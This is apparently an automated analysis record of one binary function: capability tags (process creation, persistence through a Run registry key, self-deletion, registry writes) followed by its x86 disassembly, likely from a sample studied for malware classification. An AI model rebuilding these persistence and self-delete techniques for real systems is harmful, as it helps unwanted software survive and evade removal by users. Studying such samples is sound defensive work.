Function at 0x63b754
Capabilities:
Create process on windows
Persist via run registry key
Self delete
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x56
push 0
push 0
dec ecx
jne 0x63b75c
push ecx
push ebx
push esi
push edi
lea eax, [ebp - 0x270]
mov edx, dword [0x41f26c]
call fcn.0040c734
xor eax, eax
push ebp
push 0x63bc9a
push dword fs:[eax]
mov dword fs:[eax], esp
mov ecx, 1
mov edx, dword [0x679e10]
mov eax, 0x63bcb4
call fcn.0040c4b4
mov ebx, eax
test ebx, ebx
je 0x63bc53
mov dl, 1
mov eax, dword [0x679e10]
call fcn.00428884
test al, al
je 0x63bc53
call fcn.0063b6e0
mov byte [ebp - 0x271], 0
lea eax, [ebp - 0x278]
mov ecx, 0x63bccc
mov edx, dword [0x679e10]
call fcn.0040c1e8
mov eax, dword [ebp - 0x278]
lea ecx, [ebp - 0x270]
mov edx, 0x1ff
call fcn.00428dbc
test eax, eax
jne 0x63b996
mov eax, dword [ebp - 0x25c]
mov edx, 0x63bce4
call fcn.0040c320
je 0x63b978
mov eax, dword [ebp - 0x25c]
mov edx, 0x63bcf4
call fcn.0040c320
je 0x63b978
mov eax, dword [ebp - 0x260]
and eax, 0x10
cmp eax, 0x10
je 0x63b978
xor eax, eax
push ebp
push 0x63b87b
push dword fs:[eax]
mov dword fs:[eax], esp
push dword [0x679e10]
push 0x63bd08
push dword [ebp - 0x25c]
lea eax, [ebp - 0x27c]
mov edx, 3
call fcn.0040c270
mov eax, dword [ebp - 0x27c]
call fcn.00428e4c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x63b885
mov eax, dword [ebp - 0x25c]
mov edx, 0x63bd18
call fcn.0040c320
jne 0x63b90e
lea eax, [ebp - 0x280]
mov ecx, 0x63bd3c
mov edx, dword [0x679e10]
call fcn.0040c1e8
mov eax, dword [ebp - 0x280]
mov dl, 1
call fcn.004287ec
test al, al
je 0x63b90e
push 0
push 0
push 0x63bd58
push 0x63bd9c
push 0x63bdac
push 0
call sub.shell32.dll_ShellExecuteW
push 0x7d0
call sub.kernel32.dll_Sleep
push dword [0x679e10]
push 0x63bd08
push dword [ebp - 0x25c]
lea eax, [ebp - 0x284]
mov edx, 3
call fcn.0040c270
mov eax, dword [ebp - 0x284]
call fcn.00428e4c
push dword [0x679e10]
push 0x63bd08
push dword [ebp - 0x25c]
lea eax, [ebp - 0x288]
mov edx, 3
call fcn.0040c270
mov eax, dword [ebp - 0x288]
mov dl, 1
call fcn.004287ec
test al, al
je 0x63b978
mov byte [ebp - 0x271], 1
push 0x63bdc4
push dword [0x679e10]
push 0x63bd08
push dword [ebp - 0x25c]
lea eax, [ebp - 0x28c]
mov edx, 4
call fcn.0040c270
mov eax, dword [ebp - 0x28c]
call fcn.0063a5d8
lea eax, [ebp - 0x270]
call fcn.00428e0c
test eax, eax
je 0x63b7f9
lea eax, [ebp - 0x270]
call fcn.00428e30
cmp dword [0x679e50], 0
je 0x63ba01
mov dl, 1
mov eax, dword [0x679e50]
call fcn.004287ec
test al, al
je 0x63ba01
xor ebx, ebx
jmp 0x63b9ec
mov eax, dword [0x672268]
mov eax, dword [eax]
call fcn.0060b46c
push 0x1f4
call sub.kernel32.dll_Sleep
inc ebx
mov eax, dword [0x679e50]
call fcn.0040bf9c
mov edx, eax
lea eax, [ebp - 0x290]
call fcn.0040bffc
mov eax, dword [ebp - 0x290]
call fcn.00428e4c
mov dl, 1
mov eax, dword [0x679e50]
call fcn.004287ec
test al, al
je 0x63ba01
cmp ebx, 4
jl 0x63b9b3
mov dl, 1
mov eax, dword [0x679e10]
call fcn.00428884
test al, al
je 0x63ba42
xor eax, eax
push ebp
push 0x63ba38
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x679e10]
call fcn.004074f8
call fcn.00407170
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x63ba42
cmp byte [ebp - 0x271], 0
je 0x63ba62
mov dl, 1
mov eax, dword [0x679e10]
call fcn.00428884
test al, al
jne 0x63ba62
mov byte [ebp - 0x271], 0
cmp byte [0x679df1], 0
jne 0x63bae3
lea edx, [ebp - 0x294]
mov al, 5
call fcn.00637c8c
lea eax, [ebp - 0x294]
mov edx, 0x63bde8
call fcn.0040c190
mov eax, dword [ebp - 0x294]
mov dl, 1
call fcn.004287ec
test al, al
je 0x63bae3
xor eax, eax
push ebp
push 0x63bad9
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x298]
mov al, 5
call fcn.00637c8c
lea eax, [ebp - 0x298]
mov edx, 0x63bde8
call fcn.0040c190
mov eax, dword [ebp - 0x298]
call fcn.00428e4c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x63bae3
cmp byte [0x679df1], 0
je 0x63bbcb
xor eax, eax
push ebp
push 0x63bbc1
push dword fs:[eax]
mov dword fs:[eax], esp
cmp byte [ebp - 0x271], 0
je 0x63bb11
mov eax, 0x63be14
call fcn.0063a5d8
lea ecx, [ebp - 0x2a0]
xor edx, edx
movzx eax, byte [0x679df5]
call fcn.0042814c
mov ecx, dword [ebp - 0x2a0]
lea eax, [ebp - 0x29c]
mov edx, 0x63beb8
call fcn.0040c1e8
mov eax, dword [ebp - 0x29c]
call fcn.0063a5d8
lea ecx, [ebp - 0x2a8]
xor edx, edx
movzx eax, byte [0x679e57]
call fcn.0042814c
mov ecx, dword [ebp - 0x2a8]
lea eax, [ebp - 0x2a4]
mov edx, 0x63beec
call fcn.0040c1e8
mov eax, dword [ebp - 0x2a4]
call fcn.0063a5d8
lea edx, [ebp - 0x2ac]
mov al, 5
call fcn.00637c8c
lea eax, [ebp - 0x2ac]
mov edx, 0x63bde8
call fcn.0040c190
mov edx, dword [ebp - 0x2ac]
mov eax, dword [0x679da4]
mov eax, dword [eax + 0x41c]
mov eax, dword [eax + 0x2c0]
mov ecx, dword [eax]
call dword [ecx + 0x80]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x63bbcb
cmp byte [ebp - 0x271], 0
je 0x63bc53
mov dl, 1
mov eax, dword [0x514540]
call fcn.0051568c
mov ebx, eax
mov edx, 0x80000001
mov eax, ebx
call fcn.00515774
xor ecx, ecx
mov edx, 0x63bf24
mov eax, ebx
call fcn.005158d0
test al, al
je 0x63bc4c
lea edx, [ebp - 0x2b0]
mov eax, dword [0x679da4]
call fcn.00550580
mov eax, dword [ebp - 0x2b0]
push eax
push 0x63bf94
push dword [0x679e10]
push 0x63bfd4
lea eax, [ebp - 0x2b4]
mov edx, 3
call fcn.0040c270
mov ecx, dword [ebp - 0x2b4]
mov eax, ebx
pop edx
call fcn.00516230
mov eax, ebx
call fcn.00515744
mov eax, ebx
call fcn.00409670
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x63bca1
lea eax, [ebp - 0x2b4]
call fcn.0040b424
lea eax, [ebp - 0x2b0]
call fcn.0040b424
lea eax, [ebp - 0x2ac]
mov edx, 0xe
call fcn.0040b484
lea eax, [ebp - 0x270]
mov edx, dword [0x41f26c]
call fcn.0040cb00
pop eax
jmp eax